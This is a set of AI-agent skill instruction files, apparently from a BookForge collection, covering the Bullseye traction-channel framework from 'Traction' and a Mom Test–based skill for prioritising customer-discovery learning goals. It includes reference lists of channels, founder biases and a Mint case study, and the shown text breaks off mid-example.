- **Startup phase:** Phase I (pre-product-market-fit), Phase II (fit established, scaling traction), Phase III (scaling business)
→ Infer from: user count, revenue, team size, product maturity
→ Default: assume Phase I if unclear
- **Current channels tried:** what the user has already attempted
→ Infer from: references to "we tried", "didn't work", "used to"
### Default Assumptions
- Tests should cost $250-$500 each. A four-ad test is enough — forty is over-engineering.
- Inner circle = exactly 3 channels, tested in parallel.
- All 19 channels must be brainstormed, even ones the user dismisses.
### Sufficiency Threshold
```
SUFFICIENT: product description + traction goal + budget known
PROCEED WITH DEFAULTS: product and goal known, budget assumed at $1,500
MUST ASK: product description is missing
```
## Process
Use TodoWrite to track the 5 Bullseye steps:
- [ ] Step 1: Brainstorm (1 idea per all 19 channels)
- [ ] Step 2: Rank into Columns A/B/C
- [ ] Step 3: Prioritize — exactly 3 inner-circle channels
- [ ] Step 4: Test (design cheap parallel tests)
- [ ] Step 5: Focus (direct resources to the winner)
For each step, mark `in_progress` when starting and `completed` when done.
### Step 1: Brainstorm (All 19 Channels)
**ACTION:** Generate at least one concrete channel idea for every one of the 19 channels listed in [references/traction-channels.md](references/traction-channels.md). Write the ideas into a brainstorm table with these columns:
| Channel | Idea | Probability (1-5) | Est. CAC | Est. Volume | Test Timeframe |
Before scoring probability, explicitly note any channels the user dismissed. Ask why. The answer usually reveals one of three biases — see [references/channel-biases.md](references/channel-biases.md).
**WHY:** Founders have blind spots. They reach for channels they know (engineers → Engineering as Marketing; salespeople → Sales) and ignore whole categories. Peter Thiel: "Most businesses actually get zero distribution channels to work. Poor distribution — not product — is the number one cause of failure." Brainstorming every channel, even ones the user considers "not for us", is the systematic counter to this bias. Skipping channels here means skipping the channel that could actually work.
**IF** the user dismisses a channel without evidence → flag the bias type (invisible / negative / schlep) and still generate one idea for it.
**IF** a channel genuinely has no plausible idea → note "no viable idea" with 1-sentence reasoning. Do not skip the row.
### Step 2: Rank Into Columns A / B / C
**ACTION:** Sort each of the 19 channel ideas into three columns:
- **Column A (Inner Circle):** channels that seem most promising right now given the product, audience, and stage
- **Column B (Potential):** channels that could plausibly work but feel less certain
- **Column C (Long-shot):** channels where only stretch ideas exist
Output the ranked three-column table.
**WHY:** Ranking forces explicit prioritization. Without this step, founders treat all channels as equally viable and end up testing whichever is most convenient. The three-column structure creates a visible bar: a channel is in A only if it beats the alternatives on probability, CAC, and volume — not because it's familiar.
**IF** Column A has more than 3 channels → proceed to Step 3 to cut.
**IF** Column A has fewer than 3 channels → promote the strongest Column B entries until you have 3.
### Step 3: Prioritize — Inner Circle Exactly 3
**ACTION:** From Column A, identify exactly 3 channels for the inner circle. If Column A has more than 3, look for the natural drop-off in excitement between candidates — usually around position 3. Eliminate below the drop-off. If fewer than 3, promote from Column B.
Write the inner circle to `channel-inner-circle.md` with one paragraph per channel explaining why it qualified.
**WHY:** Three is a deliberate number. Testing 1 channel sequentially wastes time — you learn nothing about alternatives. Testing 5+ channels in parallel fractures focus and produces noisy results ("kitchen sink distribution" — Thiel's named failure mode). Three channels tested in parallel takes the same clock time as one and produces comparative data. The correct channel is unpredictable before testing, so parallel is how you discover it.
**IF** the user insists on more than 3 → explain the focus cost. If they still want more, note the deviation in the output and proceed with 3 for the formal Bullseye cycle.
### Step 4: Design Cheap Parallel Tests
**ACTION:** For each of the 3 inner-circle channels, design a cheap test that answers these four questions:
1. Roughly how much will it cost to acquire customers through this channel?
2. How many customers are available through this channel at that cost?
3. Are these the customers you want right now?
4. How long does it take to acquire a customer through this channel?
Target test budget: $250-$500 per channel. Use 4 ads, not 40. Speed to data matters more than test sophistication. Write `channel-test-plan.md` with hypothesis, budget, success metrics, and timeline per channel.
**WHY:** Inner-circle tests are validation experiments, not optimization. Founders confuse these and spend weeks A/B-testing a channel before knowing it works at all. Cheap tests ($250 on AdWords) give enough signal to rule a channel in or out — rule *out* is the primary goal. A/B testing to wring out an extra 15% conversion matters only after you've proven the channel can work at all.
**IF** tracking/reporting is not in place yet → stop and build it first. Sean Ellis: "Don't start testing until your tracking/reporting system has been implemented." A test with no measurement is a waste of budget.
### Step 5: Focus on the Winner
**ACTION:** After tests complete, compare results across the four questions. Direct all channel resources to the single channel with the strongest signal. Write `channel-focus-strategy.md` with the chosen channel, the evidence from testing, and the optimization plan (A/B testing cadence, budget scaling, team allocation).
If no channel showed promise, document what you learned and repeat Steps 1-4. Use the test data to refine the next brainstorm — which assumptions were wrong?
**WHY:** Focus is where traction actually happens. Spreading resources across multiple channels after testing is the kitchen sink failure mode again, just later in the cycle. If Channel A showed a clear signal and Channel B showed a weaker one, doubling down on A produces more traction than hedging across both. Compound returns come from depth, not breadth.
**IF** two channels tied → pick based on strategic fit with the next growth phase, not the current test alone. A channel that works now but doesn't scale (personal outreach in Phase II) is worse than a channel that works now and scales (content marketing).
## Inputs
- Product description and stage
- Traction goal (specific, numeric, time-bound)
- Budget for channel testing
- Current channels tried (if any)
## Outputs
Produces four deliverables in the working directory:
1. **`channel-brainstorm.md`** — 19-row table with ideas, probability scores, CAC/volume estimates, test timeframes
2. **`channel-rankings.md`** — Three-column A/B/C table with all 19 channels sorted
3. **`channel-inner-circle.md`** — The 3 selected channels with qualification reasoning
4. **`channel-test-plan.md`** — Cheap test design per channel (hypothesis, budget, metrics, timeline)
5. **`channel-focus-strategy.md`** *(after tests complete)* — Chosen channel + optimization plan
## Key Principles
- **Don't dismiss any channel in the brainstorm.** The channel you skip because it "obviously won't work" is the one a competitor will use to beat you. WHY: Founder bias is the single biggest failure mode in channel selection. Every channel gets one idea — this is non-negotiable.
- **Three in parallel, not one at a time.** Sequential testing wastes calendar time. Five in parallel fractures focus. Three is the Goldilocks number — enough parallelism to compare, not so much that you lose discipline. WHY: The correct channel is unpredictable before testing, so you can't just "pick the right one first". Parallel comparison is how you discover it.
- **Cheap validation before expensive optimization.** Inner-circle tests rule channels *out*, not in. Spend $250 to learn if a channel has any signal, not $25,000 to optimize a channel you haven't validated. WHY: Premature optimization is the most common testing failure. A/B testing is valuable only after the channel itself is proven.
- **Repeat Bullseye at every growth-stage transition.** A channel that worked in Phase I will often saturate in Phase II. When your current channel's CAC starts climbing or CTR starts falling (Law of Shitty Click-Throughs), run Bullseye again with the data you've accumulated. WHY: Channels have a lifecycle. Treating Bullseye as a one-time decision locks you into a channel past its useful life.
- **Focus after the test, not during.** Once a winner emerges, all resources go to that channel — not hedged across the top two. Compound returns come from depth. WHY: The startup's biggest asset is focused attention. Diluting it across channels is the kitchen sink failure at a different scale.
## Examples
**Scenario: B2B SaaS founder with no traction strategy**
Trigger: "We built a project management tool for construction teams. Launched 3 months ago. Have 40 paying customers from personal outreach. Need to get to 500 in 6 months. Budget: $3,000/month for marketing. What should we do?"
Process: (1) Brainstorm all 19 channels — note the founder dismissed Trade Shows as "not for us" (flagged as schlep bias; construction expos are where this audience lives). (2) Rank: Column A = Sales (SDR outreach), Trade Shows (construction expos), Targeting Blogs (construction-industry blogs). Column B = BD (integration partnerships), Content Marketing, SEM. Column C = Viral, Affiliate, Community. (3) Inner circle: Sales, Trade Shows, Targeting Blogs. (4) Tests: SDR with 100 cold emails ($500), booth sponsorship at one small construction meetup ($800), paid sponsorship on top 2 construction blogs ($700). (5) Two weeks later: sponsored blog posts had clear winner — $40 CAC, 25 signups. Focus: double down on Targeting Blogs, expand to 5 more blogs, build library of 3 guest posts per month.
Output: 4 markdown files in working directory, clear channel winner with evidence, next-4-weeks plan.
**Scenario: Consumer app stuck in Engineering as Marketing tunnel**
Trigger: "We built a free calculator tool that ranks on Google for 'loan calculator'. Drives 50k visits/month but only 200 signups. Engineering team keeps building more calculators. Growth has plateaued. What now?"
Process: (1) Brainstorm forces the founder to consider channels beyond Engineering as Marketing. Notes: "Viral Marketing — we haven't even thought about this; our calculators could include share hooks." (2) Rank: Column A = Viral Marketing (embed calculators as widgets on finance blogs), Content Marketing (loan advice articles with calculator CTAs), Email Marketing (nurture the 200 signups). Column B = PR, SEM, Targeting Blogs. Column C = Sales, Trade Shows, Offline Events. (3) Inner circle: Viral (widgets), Content, Email. (4) Tests: 3 widgets on blogs ($0 — engineering time), 5 long-form articles ($1,500 freelance), email drip sequence (existing 200 contacts). (5) Content articles converted 4x better than widgets — focus on content, commission 2 articles/week.
Output: Founder breaks out of "just build more calculators" loop. Discovers Content Marketing is the real channel; Engineering as Marketing was actually serving SEO, not acquisition.
**Scenario: Repeating Bullseye after saturation**
Trigger: "Targeting blogs worked great for us for 18 months — got 40k users. But now CAC is climbing and new blog partnerships aren't producing the same volume. Growth is flattening."
Process: Recognize this as the Law of Shitty Click-Throughs — the channel is saturating. Run Bullseye again, this time weighted by the test data already accumulated. (1) Brainstorm with the history in mind: "We know blog-style content works — which channels amplify that?" (2) Rank: Column A = PR (media coverage amplifies existing content), Content Marketing (owned publication), Community Building (turning blog readers into evangelists). (3) Inner circle: PR, Content, Community. (4) Tests: 1 HARO pitch per day for 30 days, launch own publication with 8 articles, seed community in Slack. (5) PR produced biggest lift — TechCrunch feature = 8,000 new users in 48 hours.
Output: Channel rotation handoff from Targeting Blogs → PR, with Content Marketing as supporting channel for PR amplification.
## References
- For the complete list of 19 traction channels with descriptions, see [references/traction-channels.md](references/traction-channels.md)
- For detection and counter-tactics for the three founder bias types, see [references/channel-biases.md](references/channel-biases.md)
- For the Mint case study showing Bullseye in action from 0 → 1M users, see [references/mint-case-study.md](references/mint-case-study.md)
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Traction: A Startup Guide to Getting Customers by Gabriel Weinberg and Justin Mares.
## Related BookForge Skills
This skill is the entry point for the Traction methodology. Install related skills from ClawhHub:
- `clawhub install bookforge-startup-traction-strategy-by-phase` — Matches channels to your current growth phase (I/II/III)
- `clawhub install bookforge-traction-channel-testing` — Designs cheap tests for inner-circle channels
- `clawhub install bookforge-startup-critical-path-planning` — Integrates channel selection into startup milestone planning
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/channel-biases.md
# The Three Founder Channel Biases
These biases systematically narrow the brainstorm set. Detect them during Step 1 of the Bullseye Framework and force an idea for the affected channel anyway.
## 1. Invisible Bias
**Symptom:** The founder doesn't even think of the channel. It's not on their mental map of "marketing."
**Example:** Engineers often have no mental slot for "Speaking Engagements" — they've never given a talk and don't imagine it as a customer acquisition channel.
**Detection question:** "Have you considered [channel]?" If the answer is a blank stare or a puzzled "... no?", this is invisible bias.
**Counter:** Walk through every single channel name during the brainstorm. Force one idea for each, even if it's bad.
## 2. Negative Bias
**Symptom:** The founder has a personal negative reaction to a channel — they hate it or tried it once and it failed.
**Example:** "I hate talking on the phone, so cold calling is out." "We tried Facebook ads and lost money, so social ads are dead for us."
**Detection question:** "What's your reaction to [channel]?" If the answer is visceral ("ugh", "I hate that"), this is negative bias.
**Counter:** Decouple channel from the founder's preferences. The founder isn't the customer. "Just because you hate talking on the phone doesn't mean your customers do." Past failure in a channel doesn't mean the channel is broken — the test design might have been wrong, the product might have been wrong, or the channel might be right *now* even if it was wrong then.
## 3. Schlep Bias
**Symptom:** The founder avoids channels that are manual, unsexy, or high-effort — especially when they feel "beneath" the company's self-image.
**Example:** "We're a modern SaaS, we don't do trade shows." "BD is too slow, we want scalable." "Community building is for consumer products, not enterprise."
**Detection question:** "Why not [channel]?" If the answer is about effort, image, or sexiness, this is schlep bias.
**Counter:** Jason Cohen's framing: "If your competition refuses to try these channels, that's even more reason to go try them — it's almost a competitive advantage." The schleppy channels are often uncrowded exactly because of this bias.
## The Meta-Bias
All three biases converge on the same failure: **the founder reaches for familiar, comfortable, or exciting channels first, ignoring the channels that might actually work best.** The Bullseye brainstorm is explicitly designed to counter this by forcing every channel into consideration before ranking.
## Source
Chapter 1 ("Traction Channels") and Chapter 2 ("The Bullseye Framework") of *Traction* by Gabriel Weinberg and Justin Mares.
FILE:references/mint-case-study.md
# Case Study: Mint — From 0 to 1 Million Users in 6 Months
The canonical example of the Bullseye Framework applied to a real startup. Documented by Noah Kagan, Mint's early marketing lead.
## Context
- **Company:** Mint.com, personal finance management
- **Stage:** Pre-launch, no customers
- **Traction goal:** 100,000 users in the first 6 months after launch
- **Outcome:** Exceeded goal — reached 1 million users in 6 months. Acquired by Intuit for $170M.
## Bullseye Step 1 — Brainstorm
Kagan and team brainstormed ideas across all 19 channels. They identified channels where they had plausible angles given their target audience (personal finance users) and early-stage budget.
## Bullseye Step 2/3 — Rank and Prioritize
**Inner Circle (Column A, 3 channels):**
1. **Targeting Blogs** — Mid-level personal finance bloggers had engaged, on-topic audiences. Mint's product was a natural fit.
2. **Public Relations (PR)** — Finance is a trusted-recommendation category. Media coverage would drive signups.
3. **Search Engine Marketing (SEM)** — Direct demand fulfillment for search terms like "budget tracker" and "personal finance software".
Channels in Columns B/C included Viral Marketing, Content Marketing, Sales, and others — not dismissed, but lower priority for this specific stage.
## Bullseye Step 4 — Test
**Targeting Blogs test:** Sponsored a small personal finance newsletter. Cost: low hundreds of dollars. Measured signup conversion.
**PR test:** Reached out to Suze Orman (high-profile personal finance celebrity) with a personal pitch.
**SEM test:** Placed Google ads on category terms. Measured CAC and signup quality.
## Bullseye Step 5 — Focus
Targeting Blogs produced the strongest signal. Kagan doubled down:
- **VIP Access tactic:** Offered pre-launch priority to blog readers in exchange for a badge on the blog.
- **Sponsorship tactic:** Paid niche bloggers for sponsored placement.
- **Guest posting:** Wrote personal finance content for mid-level blogs.
**Result of Step 5:** 40,000 users before launch — from targeting blogs alone.
## Bullseye Repeat
After targeting blogs began to saturate (the Law of Shitty Click-Throughs kicking in), Kagan ran Bullseye *again*. This time, the test data from phase one informed the next inner circle.
**New inner circle:** PR moved into Column A because the momentum from blogs created newsworthy milestones. PR became the primary channel for the next growth stage.
**Result of the second cycle:** Mint crossed 1 million users in 6 months post-launch.
## Key Lessons
1. **Bullseye is iterative, not one-shot.** Mint ran it at least twice in the first year.
2. **The winning channel is unpredictable before testing.** Mint's team had a hypothesis about SEM but blogs outperformed it.
3. **Test data accumulates.** The second Bullseye cycle wasn't a cold start — it used data from the first cycle to rank channels better.
4. **Focus produces compounding returns.** Mint got 40k users from just one channel (blogs) because they doubled down rather than hedging.
## Source
Chapter 2 ("The Bullseye Framework") of *Traction* by Gabriel Weinberg and Justin Mares. Noah Kagan's account of Mint's early growth is presented as the canonical Bullseye worked example.
FILE:references/traction-channels.md
# The 19 Traction Channels
A reference list of every channel the Bullseye Framework brainstorms across. Each entry includes a one-line definition and typical fit signals.
1. **Viral Marketing** — Getting existing users to refer others to the product. Fit: products with inherent sharing value or network effects.
2. **Public Relations (PR)** — Traditional media coverage (news, newspapers, magazines). Fit: Phase II+ with newsworthy milestones.
3. **Unconventional PR** — Publicity stunts and extreme customer appreciation. Fit: brand-building, memorable launches.
4. **Search Engine Marketing (SEM)** — Paid ads on Google/Bing. Fit: existing search demand for category terms.
5. **Social and Display Ads** — Paid ads on Facebook, Twitter, LinkedIn, display networks. Fit: visual/brand-driven products, clear demographic targeting.
6. **Offline Ads** — TV, radio, print, billboards, direct mail. Fit: mass-market, later-stage, broad demographic.
7. **Search Engine Optimization (SEO)** — Organic ranking in search engines. Fit: existing search demand, long time horizon.
8. **Content Marketing** — Blog, newsletter, podcast, video as acquisition channel. Fit: audience that reads, compounding over time.
9. **Email Marketing** — Lifecycle emails for acquisition, activation, retention, revenue. Fit: all stages; pairs with every other channel.
10. **Engineering as Marketing** — Free tools that generate leads (calculators, widgets, grader tools). Fit: technical team, well-defined customer problem.
11. **Targeting Blogs** — Sponsoring, guest posting, or relationship-building with niche blogs. Fit: Phase I, defined audience, limited reach blogs.
12. **Business Development (BD)** — Partnerships that exchange value (not dollars). Fit: when partner brings distribution, inventory, or brand.
13. **Sales** — Direct outreach, qualification, closing. Fit: enterprise, high-price products, products requiring consultation.
14. **Affiliate Programs** — Paying others a cut for driving sales or leads. Fit: defined customer value, existing affiliate ecosystem.
15. **Existing Platforms** — Leveraging platforms with large user bases (App Stores, browser extensions, social networks). Fit: products that complement a big platform's gap.
16. **Trade Shows** — Industry events where vendors meet prospects. Fit: B2B, enterprise, industries that gather at expos.
17. **Offline Events** — Running or sponsoring meetups, conferences. Fit: community-driven products, local scaling.
18. **Speaking Engagements** — Getting the founder/team on stage at relevant events. Fit: thought leadership, founder-led sales.
19. **Community Building** — Investing in relationships among users so they recruit others. Fit: products that connect people or share a mission.
## Source
Chapter 1 ("Traction Channels") of *Traction* by Gabriel Weinberg and Justin Mares.
Prioritize which assumptions to validate first and produce focused learning goals before customer conversations — classifying risks as product risk versus ma...
---
name: question-importance-prioritizer
description: Prioritize which assumptions to validate first and produce focused learning goals before customer conversations — classifying risks as product risk versus market risk. Use this skill whenever the user has many assumptions or unknowns and needs to decide which to test first, wants to identify the 3 most important learning goals for their next conversation batch, needs to figure out what the riskiest parts of their business idea are, wants to separate must-validate assumptions from safe ones, is preparing strategic learning goals but not the specific interview questions, or suspects they are avoiding the scary questions that actually matter — even if they don't mention "prioritization" or "learning goals." Do NOT use this skill to write or rewrite the actual conversation questions (use conversation-question-designer) or to analyze notes from a completed conversation (use conversation-data-quality-analyzer).
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/the-mom-test/skills/question-importance-prioritizer
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: verified
source-books:
- id: the-mom-test
title: "The Mom Test"
authors: ["Rob Fitzpatrick"]
chapters: [3]
tags: [customer-discovery, question-prioritization, learning-goals, risk-classification, pre-conversation-planning]
depends-on: []
execution:
tier: 1
mode: hybrid
inputs:
- type: document
description: "Product idea description and list of assumptions or unknowns to validate"
tools-required: [Read, Write]
tools-optional: []
mcps-required: []
environment: "Any agent environment with file read/write access."
---
# Question Importance Prioritizer
## When to Use
You need to decide what to learn before customer conversations — not just which questions pass quality rules, but which questions actually matter for your business survival. Typical situations:
- The user has many assumptions to validate and needs to prioritize which 3 to focus on next
- The user is preparing for a batch of customer conversations and needs focused learning goals
- The user has been having conversations but feels stuck because they are asking safe, comfortable questions
- The user needs to determine whether their biggest risks can even be validated through conversations (product risk vs market risk)
- The user wants to identify the "scary questions" they have been avoiding
- The user has a long list of unknowns and does not know where to start
Before starting, verify:
- Does the user have a product idea or business concept? (If not, this skill cannot help yet)
- Does the user have at least a rough sense of who their customers might be? (Different customer types need different learning goals)
**Mode: Hybrid** — The agent produces the prioritized learning goals and prepared questions. The human conducts the actual conversations.
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Product idea or business concept:** What is the user building or exploring? This is the foundation for identifying risks and learning goals.
- Check prompt for: product descriptions, startup ideas, feature concepts, problem statements
- Check environment for: `product-idea.md`, `README.md`, pitch documents
- If still missing, ask: "What product or business idea are you working on? A few sentences describing what it does and who it is for."
- **Assumptions or unknowns to validate:** What does the user believe but has not yet proven? This is the raw material for prioritization.
- Check prompt for: hypotheses, assumptions lists, "I think...", "I believe...", "I assume...", risk lists
- Check environment for: `learning-log.md`, `assumptions.md`, previous conversation notes
- If still missing, ask: "What are the key assumptions your business depends on? List everything you believe to be true but have not yet validated — about your customers, the problem, the market, pricing, distribution, anything."
### Observable Context (gather from environment)
- **Customer segment:** Who is the user targeting? Different segments need different learning goals.
- Look for: `customer-segments.md`, persona descriptions, target market references
- If unavailable: ask "Who are your target customers? Be as specific as you can."
- **Current stage:** How far along is the user? Pre-idea, pre-product, has a prototype, has paying customers?
- Look for: references to prototypes, MVPs, revenue, launch dates
- If unavailable: assume pre-product (exploring the problem space)
- **Previous conversation learnings:** What has already been validated or invalidated?
- Look for: `conversation-notes/`, `learning-log.md`
- If unavailable: assume first round of conversations
### Default Assumptions
- If no customer type specified, design learning goals generic enough for early exploration but note this limitation
- If no stage specified, assume pre-product (learning phase)
- If no prior conversations, assume all assumptions are unvalidated
### Sufficiency Threshold
```
SUFFICIENT when ALL of these are true:
- Product idea or business concept is known
- At least 3 assumptions or unknowns are identified
- Customer type is known or defaulted
PROCEED WITH DEFAULTS when:
- Product idea is known but assumptions are vague ("I'm not sure what I don't know")
- Customer type is approximate ("probably restaurant owners")
MUST ASK when:
- No product idea at all
- User provides questions but no context on the business they are building
```
## Process
### Step 1: Surface All Business Risks
**ACTION:** List every assumption the business depends on — both the ones the user stated and the ones they may have missed. Use two diagnostic questions to uncover hidden risks:
1. "If this company were to fail, why would it have happened?" — list every plausible failure reason
2. "What would have to be true for this to be a huge success?" — list every condition required
**WHY:** Most founders focus on the risks they find interesting (usually the product or technology) and ignore the ones that scare them (usually the market, pricing, or distribution). The two diagnostic questions systematically surface hidden risks that the user is unconsciously avoiding. The most important questions to ask customers are precisely the ones that feel most uncomfortable.
**IF** the user provided a list of assumptions, review it against the diagnostic questions and add any missing risks
**IF** the user did not provide assumptions, generate the risk list entirely from the diagnostic questions
**OUTPUT:** A comprehensive list of business risks, grouped loosely by area (customer/problem, market/pricing, product/technology, distribution/growth, team/operations).
### Step 2: Classify Each Risk as Product Risk or Market Risk
**ACTION:** For each risk from Step 1, classify it into one of two categories:
| Risk Type | Definition | Key Questions | Can Conversations Validate? |
|-----------|-----------|---------------|---------------------------|
| **Market risk** | Do they want it? Will they pay? Are there enough of them? | Demand, willingness to pay, market size, problem severity | Yes — customer conversations are the primary validation tool |
| **Product risk** | Can I build it? Can I grow it? Will they keep using it? | Technical feasibility, scalability, retention, network effects, critical mass | Limited — you need to build something to prove these |
**WHY:** This classification determines how much weight to give conversation-based validation for each risk. If the user's biggest risk is product-side (like building a marketplace that needs critical mass, or a video game that needs to be fun), customer conversations alone cannot validate it — the user will need to start building earlier with less certainty. Mistaking product risk for market risk leads to months of conversations that "validate" obvious things (e.g., asking farmers if they want more money, asking bar owners if they want more customers).
**Detection test for product risk masquerading as market risk:** If customer responses consistently sound like "Yes, if you can actually build that, I would pay" — the risk is in the product, not the market. The customer is restating the obvious.
**IF** the majority of risks are product-side, warn the user: "Your biggest unknowns are about whether you can build and grow this, not whether people want it. Customer conversations will give you a starting point, but you will need to start building earlier to validate the core risks. Focus conversations on understanding the problem depth and current workarounds, not on confirming demand."
**OUTPUT:** Each risk annotated with its type (market/product) and whether conversations can validate it.
### Step 3: Prioritize into the Top 3 Learning Goals
**ACTION:** From the classified risk list, select the 3 most important learning goals for the next batch of conversations. Prioritize using these criteria:
1. **Business-criticality:** Could this risk, if wrong, kill the entire business? Risks that would require a complete pivot outrank risks that would require a feature adjustment.
2. **Current uncertainty:** How much evidence does the user already have? Prioritize the murkiest unknowns — the ones where the user has the least data.
3. **Conversational reach:** Can customer conversations actually answer this? Deprioritize pure product risks that need building, not talking.
4. **Scariness:** Is this a question the user has been avoiding? If a question makes the user uncomfortable, that is a signal it is important. A question you are not terrified of is probably not important enough.
**WHY:** Without prioritization, conversations wander across too many topics and produce shallow data on everything, deep data on nothing. Three is the right number because it is small enough to focus a conversation but large enough to make each conversation worthwhile. Choose the murkiest and most important questions — they will give you the firmest footing and clearest sense of direction for the next batch.
**Scary question test:** Review the final list and verify that at least one learning goal makes the user uncomfortable. If all three feel safe and easy to ask about, the list is wrong — the user is avoiding the hard questions. Flag this explicitly: "None of these learning goals seem scary. What question are you most afraid to ask? That one probably belongs on this list."
**IF** the user has multiple customer types, create a separate list of 3 for each type — learning goals differ by audience
**IF** this is not the first batch of conversations, review previous learnings and update: drop validated goals, promote the next murkiest unknowns
**OUTPUT:** A numbered list of exactly 3 learning goals, each with:
- The learning goal stated as a concrete question to answer
- Why it matters (what changes if the answer is negative)
- The risk type (market or product)
- A scariness rating (comfortable / uncomfortable / terrifying)
### Step 4: Check for Premature Zoom
**ACTION:** Review each learning goal and assess whether it assumes something that has not yet been validated. Apply the premature zoom diagnostic:
- Does this goal zoom into a specific problem area without first confirming that area matters to the customer?
- If you ask about this topic, will the customer give you detailed answers just because you asked — regardless of whether they actually care?
- Would the customer have raised this topic on their own if you asked broad questions about their life?
**WHY:** Premature zoom is one of the most dangerous patterns in customer discovery. When you ask "What is your biggest problem with X?", you assume X matters. The person gives you an answer because you asked, not because they care. This creates data that looks like validation but is actually worthless. Even if you learn everything there is to know about a trivial problem, you still do not have a business. The fix is to start broad and only zoom in when the customer independently signals that this area is a top priority for them.
**FOR EACH** learning goal:
- **IF** the goal assumes problem importance → flag it and add a broader "does this even matter?" goal that should come first
- **IF** the goal is already about confirming importance → mark it as properly scoped
- **IF** previous conversations have already confirmed importance → mark it as safe to zoom
**"Does-this-problem-matter" diagnostic questions** (use these to validate importance before zooming in):
- "How seriously do you take [area]?"
- "Do you make money from it?"
- "Have you tried making more money from it?"
- "How much time do you spend on it each week?"
- "Do you have any major aspirations for [area]?"
- "Which tools and services do you use for it?"
- "What are you already doing to improve this?"
- "What are the 3 big things you are trying to fix or improve right now?"
**OUTPUT:** Each learning goal annotated with its zoom-level safety status and, where needed, a broader prerequisite question.
### Step 5: Produce the Prioritized Learning Goals Deliverable
**ACTION:** Compile the final output document containing the prioritized learning goals with risk classification and prepared questions for each goal.
**WHY:** The deliverable must be immediately usable before conversations. The user should be able to glance at it and know exactly what they need to learn, why each goal matters, and which questions to ask. This is the "list of 3" that they carry into every conversation with this customer type.
**Output format:**
```markdown
# Prioritized Learning Goals
## Context
- **Product/Business:** [from input]
- **Target Customer:** [from input]
- **Stage:** [from input or default]
- **Date Prepared:** [today]
- **Batch:** [first / updated after N conversations]
## Risk Overview
- **Total risks identified:** [N]
- **Market risks (conversation-validatable):** [N]
- **Product risks (need building to validate):** [N]
- **Biggest overlooked risk:** [the one the user was probably avoiding]
## Top 3 Learning Goals
### 1. [Learning Goal as Question]
- **Risk type:** Market / Product
- **Why it matters:** [what changes if the answer is negative — be specific]
- **Scariness:** Comfortable / Uncomfortable / Terrifying
- **Zoom-level check:** [Safe to zoom / Needs importance confirmation first]
- **Prepared questions:**
- [Broad opener to confirm importance]
- [Specific past-focused depth question]
- [Commitment/severity signal question]
- **What a negative answer looks like:** [concrete signal that disproves this]
- **What a positive answer looks like:** [concrete signal that validates this]
### 2. [Learning Goal as Question]
[same structure]
### 3. [Learning Goal as Question]
[same structure]
## Questions You Might Be Avoiding
- [Scary question 1 — and why it matters]
- [Scary question 2 — and why it matters]
## Premature Zoom Warnings
- [Any goals that assume unvalidated importance, with the broader question to ask first]
## Risk Classification Summary
| Risk | Type | Conversation Can Validate? | Priority |
|------|------|---------------------------|----------|
| [risk 1] | Market | Yes | In top 3 |
| [risk 2] | Product | Limited | Deferred |
| ... | ... | ... | ... |
## Next Steps
- After this conversation batch, review which goals are answered
- Drop answered goals, promote next-murkiest unknowns
- Update this document with new top 3
```
**IF** the user provided a file path or working directory, write the output to `learning-goals.md`
**ELSE** present the output directly in the conversation
## Examples
### Scenario 1: SaaS Founder with a Long Assumption List
**Trigger:** "I'm building a tool that helps restaurant owners manage their online reviews across Google, Yelp, and TripAdvisor. Here are my assumptions: (1) Restaurant owners care about online reviews, (2) Managing multiple platforms is painful, (3) They would pay $50/month, (4) They check reviews daily, (5) Negative reviews cause real revenue loss, (6) They want AI-generated review responses, (7) They struggle to get customers to leave reviews."
**Process:**
1. Surface all risks: The user listed 7 assumptions, but diagnostic questions reveal hidden ones — distribution (how will they find this tool?), competition (existing tools like Podium?), buyer (is the owner the one managing reviews or a manager?), and time (do they have bandwidth to use yet another tool?)
2. Classify risks: Assumptions 1-5, 7 are market risks (conversationally validatable). Assumption 6 is product risk (AI quality). Distribution and competition are market risks.
3. Prioritize top 3:
- Goal 1: "Do restaurant owners actually manage reviews themselves, and is it painful enough to pay to fix?" (market risk, terrifying — could invalidate the whole idea)
- Goal 2: "What tools or workarounds are they using today, and what do they spend?" (market risk, uncomfortable — might reveal strong competitors)
- Goal 3: "How do they currently respond to negative reviews, and what is the real cost of not responding?" (market risk, comfortable — validates severity)
4. Premature zoom check: Goal 3 assumes negative reviews matter enough to act on — needs importance confirmation first
**Output (abbreviated):**
```
### 1. Do restaurant owners personally manage reviews — and is it painful enough to pay $50/month?
- Risk type: Market
- Why it matters: If owners delegate review management or don't care, there is no buyer
- Scariness: Terrifying
- Zoom-level check: Safe — this IS the importance check
- Prepared questions:
- "Walk me through what you did the last time you got a negative review online."
- "How much time do you spend on review-related tasks in a typical week?"
- "What are you currently paying for any marketing or reputation tools?"
- What a negative answer looks like: "My manager handles that" or "I don't really check them"
- What a positive answer looks like: Specific stories of time spent, emotional frustration, existing workarounds
```
---
### Scenario 2: Technical Founder with Pure Product Risk
**Trigger:** "I'm building a multiplayer mobile game where players collaborate to solve environmental puzzles. I want to validate whether people would play this. My assumptions: (1) People enjoy collaborative puzzle games, (2) Environmental themes attract players, (3) Mobile is the right platform, (4) Players will invite friends to join."
**Process:**
1. Surface risks: Diagnostic questions reveal the elephant — nearly all risk is product-side (Is it fun? Can it retain players? Can it achieve network effects for multiplayer?)
2. Classify risks: All 4 stated assumptions are product risks. "Do people enjoy collaborative puzzle games?" is like asking "Do you like having fun?" — the answer is always yes.
3. Prioritize: Warn the user that conversations cannot validate the core risks. Redirect toward the few market risks that exist: Are there enough puzzle game enthusiasts in this niche? What games do they currently play? How much do they spend on mobile games?
**Output (abbreviated):**
```
## Risk Overview
- Total risks identified: 8
- Market risks: 2 (audience size, spending habits)
- Product risks: 6 (fun factor, retention, multiplayer matchmaking, network effects, art quality, puzzle design)
- Biggest overlooked risk: Nearly all your risk is product-side. Customer conversations cannot tell you whether your game is fun. You need to build a prototype and watch people play.
### 1. Are there enough people who actively seek out collaborative puzzle games — and where do they congregate?
- Risk type: Market
- Why it matters: Even a great game fails if the target audience is too small or unfindable
- Scariness: Uncomfortable
- Prepared questions:
- "What puzzle games have you played in the last month? Tell me about the most recent session."
